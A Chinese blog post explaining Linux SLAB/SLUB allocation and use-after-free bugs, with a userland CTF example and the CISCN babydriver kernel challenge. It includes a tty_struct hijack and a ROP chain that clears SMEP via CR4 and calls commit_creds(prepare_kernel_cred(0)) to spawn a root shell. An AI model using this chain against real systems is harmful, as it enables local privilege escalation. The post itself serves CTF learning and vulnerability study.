UAF
从名称上翻译过来就是释放后重用
,这个漏洞的产生主要取决于内存管理机制,因此扯来扯去,还是得先了解一下内存管理方面的东西才行。
我自己注重的是kernel
相关的安全,而linux用户态
下的大部分uaf
其实来源于C
的内存管理机制
,虽然和kernel
相似,但也着实是两种不同的东西,因此还是要以kernel
为主来了解。
slub
可以理解为slab
的升级简化版本,从2.6.22
开始引入,在实际的设计理念上倒是没有什么太大的区别,但是却又有着明显的性能优化,而这些优化的点就是着重注意的部分
先前简单研究过kernel
的内存相关的东西,知道了kernel
采用了内存分页模型来管理内存,将内存划分为一个个页,通过伙伴系统
来分配,那随之而来的问题就是最小分配单元是页(4kb)
,然而非常多的时候需要分配的仅仅是一片很小的内存,如果依旧按照伙伴系统
来分配的话,显然会造成极大的浪费
比如仅仅需要申请一个
4b
的内存,然而却分配来一个4kb
的页,而这一页中的4kb - 4b
大小的内存就被浪费了,这部分被浪费的内存可以称为内部碎片
为了解决这种问题而引入了针对小内存的管理方式slab系统
。如果是伙伴系统
的最基础单元是一个个page
的话,那slab
系统的最基础单元就是object
,说起来可能有点抽象,什么是object
?实际上这儿可以理解成kernel
中使用度非常频繁的数据结构
,例如进程结构task_struct
,索引结构inode
。这些object
往往占用内存并不到一个page
,但是却会被频繁的创建销毁,如果每一次都是0 - 1 - 0
的流程的话,显然会带来极大的开销,相同object
之间的内存结构是相同的,那如果一个object
在使用完成后,并非是立马将其回收,而是成为一个cache
,这样在有一个新的object
需求进来的时候就能立马用上,极大的提高了内存分配
的速度,这也是为什么slab分配器
又被当作高速缓存
来用。
从整体结构上来说,一整个slab
的运作模型如下
kmem_cache
是slab描述符
,很多描述符组成了全局链表slab_cashes
,其最直观的表现可以通过/proc/slabinfo
的name
感知出来,不同的name
就代表了不同的kmem_cache
,例如task_struct
的kmem_cache
中所有的object
都是一个个的struct task_struct
结构,而其中比较特殊的就是kmalloc-*
类型的kmem_cache
,这个可以被称作是通用缓存
,没什么特殊的用途和结构,目的就是为了能够快速提供这样大的一块内存出来而已,而这个描述符中最重要的数据结构是kmem_cache_node
,组织了各个具体的slab
。
内存的分配的最基础单元还是page
,这儿是不是有些晕,slab
不是能管理比page
更小的内存吗?其实slab
的内存管理是指在已经分配的page
上再做的管理,而不是直接从无到有管理一个< page_size
的内存,因此在这个基本约束下,虽然slab分配器
的分配单位是object
,但是其整个结构上依然有一个>= page_size
的结构作为中转也就是上图中的slab
,一个slab
的所占页面个数为2^cachep->gfporder
个,这个值的确定流程在kmem_cache_create
中,也是kmem_cache
的一个属性,而真正使用起来则是在slab对象
的分配流程中,
kmem_cache_alloc -> slab_alloc -> __do_cache_alloc -> __cache_alloc
这个函数的大致流程是:
- 获取本地缓冲池
arrar_cache
并判断其中是否有空闲对象,这是一个只用于当前CPU
的指向空闲object
的指针集合,减少了访问链表的锁开销。 - 有的话则直接通过
ac_get_obj
来分配对象,获取的是ac->entry[--ac->avail]
,也就是最后一个对象 - 没有则通过
cache_alloc_refill
来分配对象
一个kmem_cache
刚创建的时候不存在空闲对象一说,因此直接走流程3
,而在流程3
的函数中,则会引入三个队列的判断和操作
slabs_partial
,部分空闲链表slabs_full
,不空闲slabs_free
,全部空闲链表
优先检查共享缓冲池
,如果有对象的话就移到本地缓冲池
里,然后重来一遍,如果共享缓冲池
为空的话,则会检查slabs_partial
和slabs_free
,如果两者不为空的话,则说明存在空闲的object
可以分配出来,将其放到本地缓冲池中
,在分配完object
后再去把所属的slab
移动到应该去的链表上,但按照刚创建的时候来说,所有的链表都是空的因为完全还没有对象,所以第一个slab
是通过cache_grow
来创建的,占用了gfporder
个物理页面,将其放入free
链表后再走retry
流程,此时因为有了空闲对象,所以就肯定能分配出object
。
到此为需要的object
就已经分配完了,那么在用完之后自然就涉及到了回收的问题,先前说过slab
并非仅仅是一个小内存分配器
,也是一个高速缓存器
,这是因为其释放模式的设计上能够实现缓存的功能。一个对象调用kmem_cache_free
时候,会通过cache_from_obj
根据obj
的虚拟地址找到对应的kmem_cache
,然后调用__cache_free
在kmem_cache
内作操作,其逻辑就是如果本地对象缓冲池的空闲对象数量没有超过ac->limit
,那就直接调用ac_put_object
把对象释放到缓冲池里ac->entry[ac->avail++] = object
,但是如果超过的话,则会调用cache_flusharray()
来处理一些slab
把位置空出来,同时还要处理一下该object
所在的slab
,将其移动到应该去的链表上。
其实这个机制和C
的内存管理的机制十分的相似,都是在页式管理的基础上再做的一层内存管理,不过我也说的不一定对,因为C
的内存管理我没有细心了解过,只是粗略的知道fastbin
之类的东西。
从最开始的kmem_cache
创建上来说,相比于slab
的无脑创建新的kmem_cache
带来的开销,slub
引入了对象重用
的机制,即在请求创建新的kmem_cache
时,分配器会根据size
搜索已有的kmem_cache
,若相等或是略大于(sizeof(void *)范围)则不去创建而是重新已有的kmem_cache
,将其refcount + 1
,实现函数为__kmem_cache_alias
,在后续初始化上也有变化,用kmem_cache_cpu
取代以前的array_cache
。
struct kmem_cache_cpu {
void **freelist; /* Pointer to next available object */
unsigned long tid; /* Globally unique transaction id */
struct page *page; /* The slab from which we are allocating */
#ifdef CONFIG_SLUB_CPU_PARTIAL
struct page *partial; /* Partially allocated frozen slabs */
#endif
#ifdef CONFIG_SLUB_STATS
unsigned stat[NR_SLUB_STAT_ITEMS];
#endif
};
而针对kmem_cache_node
也只保留了partial
一条链表,这就导致后面关于内存分配
的流程上出现了简化。
struct kmem_cache_node {
spinlock_t list_lock;
unsigned long nr_partial;
struct list_head partial;
#ifdef CONFIG_SLUB_DEBUG
atomic_long_t nr_slabs;
atomic_long_t total_objects;
struct list_head full;
#endif
};
从内存分配的角度看,原本的slab
的顺序是本地缓冲池 -> 共享缓冲池 -> 部分空闲链表 -> 全部空闲链表
,而slub
则极大的简化了这个步骤,取消了共享缓冲池
且只保留了部分空闲链表
。在第一次进行内存分配的时候还是一样是没有slab
的,这时候就要为当前cpu
创建一个slab
称为本地活动slab
,并将kmem_cache_cpu
的freelist
指向第一个object
,这样再次retry
时则只需要使用指向的object
然后移动指针即可分配出一个可用的object
出来,而如果本地活动slab
已经没有空闲object
的话,则从kmem_cache_cpu->partial
取新的slab
重新装到freelist
上,其中kmem_cache_cpu->page
就指向的当前在用的slab
,如果此时kmem_cache_cpu->partial
上没有了空闲的slab
则从kmem_cache_node->partial
上取slab
装到freelist
上,还会多取几个放到kmem)_cache_cpu->partial
上,为下次寻找节省时间,这种方式比起slab
机制来说要简单高效了很多,当然如果都没有object
的话则直接申请新的slab
。
CONFIG_SLUB_CPU_PARTIAL
属于选配,如果没开启的话,则在分配上忽略这个流程。让SLUB内存分配器使用基于每个CPU的局部缓存,这样可以加速分配和释放属于此CPU范围内的对象,但这样做的代价是增加对象释放延迟的不确定性.因为当这些局部缓存因为溢出而要被清除时,需要使用锁,从而导致延迟尖峰.对于需要快速响应的实时系统,应该选"N",服务器则可以选"Y",同样还有CONFIG_SLUB_DEBUG
配置决定了node
上是否有full
链表。
最后再看一下回收机制,如果要释放的object
正是本地活动slab
上的话,则直接将其添加到当前freelist链表
的头部,然后将freelist
移动到该object
,但是如果要释放的object
属于其余slab
中的话,则将其释放后加入到slab
的空闲队列里,然后还要判断释放后的slab
状态,然后再根据情况整个销毁掉全空闲slab
或者移动到不同的链表中。
并不针对
slab
的变化多作解释,因为对于漏洞研究上主要关注的还是object
的分配和释放
整个slub
的结构如下图:
kernel
中的kmalloc
和核心就是slab
机制,在系统启动的时候,就有create_kmalloc_caches
创建了一堆slab描述符
,其实这部分直接看源码要更好理解点:
static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size)) {
if (size > KMALLOC_MAX_CACHE_SIZE)
return kmalloc_large(size, flags);
#ifndef CONFIG_SLOB
if (!(flags & GFP_DMA)) {
unsigned int index = kmalloc_index(size);
if (!index)
return ZERO_SIZE_PTR;
return kmem_cache_alloc_trace(kmalloc_caches[index],
flags, size);
}
#endif
}
return __kmalloc(size, flags);
}
其实代码的核心思路还是那个index
,这取决了最终分配的内存来源于哪个cache
static __always_inline unsigned int kmalloc_index(size_t size)
{
if (!size)
return 0;
if (size <= KMALLOC_MIN_SIZE)
return KMALLOC_SHIFT_LOW;
if (KMALLOC_MIN_SIZE <= 32 && size > 64 && size <= 96)
return 1;
if (KMALLOC_MIN_SIZE <= 64 && size > 128 && size <= 192)
return 2;
if (size <= 8) return 3;
if (size <= 16) return 4;
if (size <= 32) return 5;
if (size <= 64) return 6;
if (size <= 128) return 7;
if (size <= 256) return 8;
if (size <= 512) return 9;
if (size <= 1024) return 10;
if (size <= 2 * 1024) return 11;
if (size <= 4 * 1024) return 12;
if (size <= 8 * 1024) return 13;
if (size <= 16 * 1024) return 14;
if (size <= 32 * 1024) return 15;
if (size <= 64 * 1024) return 16;
if (size <= 128 * 1024) return 17;
if (size <= 256 * 1024) return 18;
if (size <= 512 * 1024) return 19;
if (size <= 1024 * 1024) return 20;
if (size <= 2 * 1024 * 1024) return 21;
if (size <= 4 * 1024 * 1024) return 22;
if (size <= 8 * 1024 * 1024) return 23;
if (size <= 16 * 1024 * 1024) return 24;
if (size <= 32 * 1024 * 1024) return 25;
if (size <= 64 * 1024 * 1024) return 26;
BUG();
/* Will never be reached. Needed because the compiler may complain */
return -1;
}
这是在内存分配上一个绕不开的安全问题
如slab&slub
这样一套内存管理模式中是否有安全问题呢?
int main(int argc, char *argv[])
{
char *p1;
p1 = (char *)malloc(sizeof(char) * 10);
memcpy(p1, "hello", 10);
printf("before free: p1 address = %p\n", p1);
free(p1);
printf("after free: p1 address = %p\n", p1);
return 0;
}
输出结果:
before free: p1 address = 0x55cfa68fa2a0
after free: p1 address = 0x55cfa68fa2a0
可以看到虽然分配的内存被release了,但是指针指向的地址依然没有变,意思就是说p1
这个指针依然指向的这一块内存,这是C
中经典的悬垂指针
问题。再去回顾之前的object分配
的原则,在一个object
被释放后紧接着立马申请一块相同大小的object
,最终分配过来的就会是刚被释放的那一个。那以上二者结合起来就会导致一个问题,就是悬垂指针
在逻辑以外突然变得再次有效起来,并且还指向的是一个正在被合法使用的内存地址。
简单来说uaf
漏洞的产生取决于悬垂指针
的使用上,当一个悬垂指针
产生后但是不再被引用了,那就是从程序逻辑中已经被忽略掉了便也无所谓了,但是如果这个指针
在release后依然被使用到了就满足了uaf
的条件,若在free
后到下一次使用的过程中若悬垂指针
指向的那一块内存又被申请到了,这就有可能导致程序逻辑发生了意想不到的变化。
这样说可能还是不够直白,程序为什么会这么写呢?这还是需要从实际的例子上阐述这个问题。
既然要从内核态分析这个问题,那就只能靠lkm解决了,又要写代码了真麻烦,这儿需要明确的一点是
uaf
漏洞的利用是在用户态
,然而生效是在内核态
,因此对于一个内核中的uaf
漏洞来说,怎么都得有提供到用户态
的接口或者与用户态
数据有关联的逻辑才行,因此优先写的是用户态
下的问题代码,也是抄来的
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth;
char *service;
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = (struct auth *)malloc(sizeof(struct auth));
memset(auth, 0, sizeof(struct auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 7) == 0) {
service = strdup(line + 8);
}
if(strncmp(line, "login", 5) == 0) {
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
第21行的代码是被我修改过的,原本的写法是
auth = malloc(sizeof(auth));
但是这儿涉及到了sizeof
的特性问题,按照上下逻辑的意思应该是这儿会开辟一个内存空间用来存struct auth
的数据,但是因为struct auth *auth
的原因所以sizeof(auth)
的结果是8
是一个指针的大小在逻辑上有点说不通顺,因此修改成sizeof(struct auth)
表示明确分这么多内存,其中关于sizeof
存在各种坑点,值得研究注意一下。
这是抄来的一份题目的代码,存在明显的uaf
漏洞,甚至明显到vim
会提醒你代码存在问题:
Use of memory after it is freed [clang-analyzer-unix.Malloc]
但是这个uaf
和上述的slub&slab
没多大关系,因为用户态上C程序
的malloc
使用的内存来源于C
自身的内存池,有一套自我实现的内存分配机制不过大概逻辑上却又和slub&slab
机制相似,所以拿出来作为uaf
认识和利用的基础。
如上的代码在运行后输入auth a
后,内存情况是这样的:
gef➤ x &auth
0x555555558090 <auth>: 0x0000555555559ac0
gef➤ p auth
$1 = (struct auth *) 0x555555559ac0
gef➤ p &auth->name
$3 = (char (*)[32]) 0x555555559ac0
gef➤ p &auth->auth
$4 = (int *) 0x555555559ae0
gef➤ x/5 auth
0x555555559ac0: 0x0000000000000a61 0x0000000000000000
0x555555559ad0: 0x0000000000000000 0x0000000000000000
0x555555559ae0: 0x0000000000000000
可以看到auth->auth
这一段的数据是0x0
,因此不管我们怎么login
都会因为验证不通过而失败,而纵观全局逻辑来说,是没有正常逻辑能够修改auth->auth
的。
下一个循环的时候输入reset
这会调用free(auth)
,之后的内存情况如下:
gef➤ x &auth
0x555555558090 <auth>: 0x0000555555559ac0
gef➤ p auth
$8 = (struct auth *) 0x555555559ac0
gef➤ p &auth->name
$9 = (char (*)[32]) 0x555555559ac0
gef➤ p &auth->auth
$10 = (int *) 0x555555559ae0
gef➤ x/5 auth
0x555555559ac0: 0x0000000000000000 0x0000555555559010
0x555555559ad0: 0x0000000000000000 0x0000000000000000
0x555555559ae0: 0x0000000000000000
虽然内存空间已经被release了,但是从指针访问的话依然可以获取到相对位置上的内存数据,看到service
的逻辑里面是strdup(line + 7)
,strdup
其实是malloc
的封装,而内存大小则来取决于参数的长度+1
char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
那么只要给service
申请的内存大小和struct auth
的一致(或者稍微小点),这样的话service
申请的内存就是前一次auth
的内存空间,而service
的后几位就可以控制auth->auth
,从而绕过判断,那么利用流程:
auth a
reset
service aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
//35个a
,因为会在strdup
中长度加一login
这是在用户态
下一个很典型的uaf
漏洞,那情况放到内核态
里会如何呢?虽然都是内核态
但是漏洞的爆发点也可以分成是子系统/子模块
或者是驱动
上,驱动
上的漏洞的逻辑上一般来说比前者更为明显直白,那就从驱动
开始分析问题。
这得专门准备一个存在漏洞的驱动出来,还好国内各种
ctf
考linux
相关的都喜欢内核层的uaf
,大概是显得高端吧:),因此有大量的代码可以抄过来作为样例
这儿我用的是CISCN的babydriver这题,照着大概把驱动的源码补全了一下,但是这儿有一个点坑了我好久,就是我看的几个参考都是直接利用UAF
重写了分配给cred
的内存,但是问题在于他们题目中的环境是没有cred_jar
这个类型的slab
的,因此prepare_creds
使用的是kmalloc-192
,然而我的环境下是有cred_jar
的,两种slab
即使在slub
上也无法做到交叉使用,这也怪我自己没有先看一下prepare_creds
的源码:
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
validate_creds(new);
return new;
error:
abort_creds(new);
return NULL;
}
EXPORT_SYMBOL(prepare_creds);
但是我也懒得改了,因为如果要符合我的环境的话得在驱动中申请内存的时候就指定cred_jar
,这肯定是非常蠢的行为,因此这边不作考虑转换思路学习另一种利用方式,也就是通过修改tty_struct
中的ops
进行rop
绕过smep
提权。
这需要先认识一下tty
的分配,一个tty
设备有一个初始化的函数是tty_init_dev
是用来为一个tty_struct
开辟内存空间并初始化数据,然而其开辟的方式是通过调用alloc_tty_struct
跟入后可以看出来
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
struct tty_struct *tty;
tty = kzalloc(sizeof(*tty), GFP_KERNEL);
if (!tty)
return NULL;
kref_init(&tty->kref);
tty->magic = TTY_MAGIC;
if (tty_ldisc_init(tty)) {
kfree(tty);
return NULL;
}
tty->session = NULL;
tty->pgrp = NULL;
mutex_init(&tty->legacy_mutex);
mutex_init(&tty->throttle_mutex);
init_rwsem(&tty->termios_rwsem);
mutex_init(&tty->winsize_mutex);
init_ldsem(&tty->ldisc_sem);
init_waitqueue_head(&tty->write_wait);
init_waitqueue_head(&tty->read_wait);
INIT_WORK(&tty->hangup_work, do_tty_hangup);
mutex_init(&tty->atomic_write_lock);
spin_lock_init(&tty->ctrl_lock);
spin_lock_init(&tty->flow_lock);
spin_lock_init(&tty->files_lock);
INIT_LIST_HEAD(&tty->tty_files);
INIT_WORK(&tty->SAK_work, do_SAK_work);
tty->driver = driver;
tty->ops = driver->ops;
tty->index = idx;
tty_line_name(driver, idx, tty->name);
tty->dev = tty_get_device(tty);
return tty;
}
一个非常明显的`kzalloc`的调用,首先可以通过`systamtap`探测一下`alloc_tty_struct`的返回值确认是分配了释放的内存:
probe kernel.function("alloc_tty_struct").return
{
printf("%lx\n", $return);
}
其中输出的结果和dmesg
中看到的释放的内存地址:
ffff8800ad810c00
[ 5400.800901] new hello_char : ffff8800ad810c00
[ 5400.800911] kfree hello_char : ffff8800ad810c00
便显然可以知道释放的内存已经被内核分配给一个tty_struct
了,那结合uaf
就是说能够针对这个tty_struct
进行控制,而tty_struct
中也是有操作集的,相关的利用技术其实已经很成熟了,这儿写无非就是炒一下冷饭。
首先想一下最终目的是让程序执行恶意代码,那这个恶意代码是写到哪儿呢?纵观整个驱动中唯一能将数据写入到内核内存的入口仅有驱动的write
处,但是这个点确实需要去重写tty_struct->fileoperations
的,那么只有将恶意代码放到用户内存
里面了,这儿就引入了一个新的问题,也就是linux
的安全机制smep/smap
,简单来说就是禁止内核执行用户空间的代码/禁止内核访问用户空间数据
起码在
5.1
以前可以通过CR4
进行控制,参见补丁
那么就需要先绕过这个限制,就是利用内核中的代码先去关闭smep
,先从vmlinux
中找个gadget
因为系统会根据
cr4
寄存器的第20位判断是否开启了smep
,需要刷成0
,这需要预先获取到cr4
寄存器中的值
0xffffffff8101fb0d : mov cr4, rdi ; ret
通过int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
的方式可以打开一个tty
设备,其对应的操作集就是tty_struct->fileoperations
,再去看的话也只有一个int (*write)(struct tty_struct * tty, const unsigned char *buf, int count);
值得利用,那么自然就是将这个operation
修改成恶意代码
然后再通过写入tty
来触发,首先就是把原本的tty_struct
给完整的复制过来再将其替换掉。
unsigned long fuck_tty_struct[3] = {0};
int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
read(fd2, fuck_tty_struct, 32);
printf("operations = %lx", fuck_tty_struct[3]); //fuck_tty_struct[3]就是原本的operations位
那如果没有smep
的限制,完全就可以直接把write
替换成一个提权shell的恶意代码就搞定了,但是正因为有smep
因此需要在触发代码前先通过ROP
来修改标志位关闭smep
,首先通过crash
确定一下在tty_operations
中的write
的位置是operations[7]
,接着将这一位上的地址修改成驱动中的read
函数然后通过gdb
查看一下调用栈和寄存器情况为后续利用作准备。
这个根据不同的内核版本会有不同的实现,因此不能直接套用
0xffffffff814cb702 <+424>: mov rax,QWORD PTR [r12+0x18]
0xffffffff814cb707 <+429>: mov rax,QWORD PTR [rax+0x38]
0xffffffff814cb70b <+433>: mov edx,ebx
0xffffffff814cb70d <+435>: mov rsi,rbp
0xffffffff814cb710 <+438>: mov rdi,r12
0xffffffff814cb713 <+441>: call 0xffffffff81c03000 <__x86_indirect_thunk_rax>
0xffffffff814cb718 <+446>: mov r13d,eax
[r12+0x18]
存的就是operations
的地址,而[rax+0x38]
则是op->write
的地址,而call 0xffffffff81c03000 <__x86_indirect_thunk_rax>
则相当于直接去call rax
,而可以控制的地方就是operations
的地址,而在call
之前看一下参数赋值可以看到mov rdi,r12
,这说明r12
实际存的是filp
的地址,也就是fd
指向的file
。因此rop
构造在operations
中,然后通过修改rsp
到operations
的地址然后ret
引导执行rop
的代码,不过由于operations
的大小不够大,因此可以再做一次迁移将执行完全引导到一个rop
区域中。
这儿有个需要注意的点,就是
operations
的地址是用户态地址,然而如果是开启了smap
的话,这样使用会直接导致内核的panic,因此在使用tty_struct
的伪造方式提权前需要确定/proc/cpuinfo
中是否开启了smap
,如果开启的话就需要在内核的堆/栈
上构造数据去关闭smap/smep
。
那这样利用思路就很清晰了:
- 修改
tty_operations
到用户态的地址 - 修改
tty_operations
内容,构造rop
修改cr4
- 通过
rop
跳转执行用户态函数
- 利用
prepare_kernel_cred_addr
和commit_creds_addr
完成提权
一个通用的ROP
,但是触发的前提条件就是让rsp
迁移到rop[32]
上,最典型的就是mov rsp, [ROP起始地址]; ret
#define prepare_kernel_cred_addr 0xffffffff810bd944
#define commit_creds_addr 0xffffffff810bd56a
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell()
{
system("/bin/sh");
}
void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int main() {
size_t rop[32] = {0};
rop[i++] = 0xffffffff81521a97; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff8101fb0d; // mov cr4, rdi; ret;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff8106c717; // swapgs; ret;
rop[i++] = 0xffffffff81035a2b; // iretq; ret
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;
}
我的环境中没有exploit成功,也可能是因为没有找到gadget的原因,但是利用思路已经很明显了就是这个样子
2022年重新回来看这个问题,新认识到一种叫做缓存跨越的知识点,可以越过特定缓存和通用缓存的隔离,利用喷射的方式将已经被释放的slab页
占用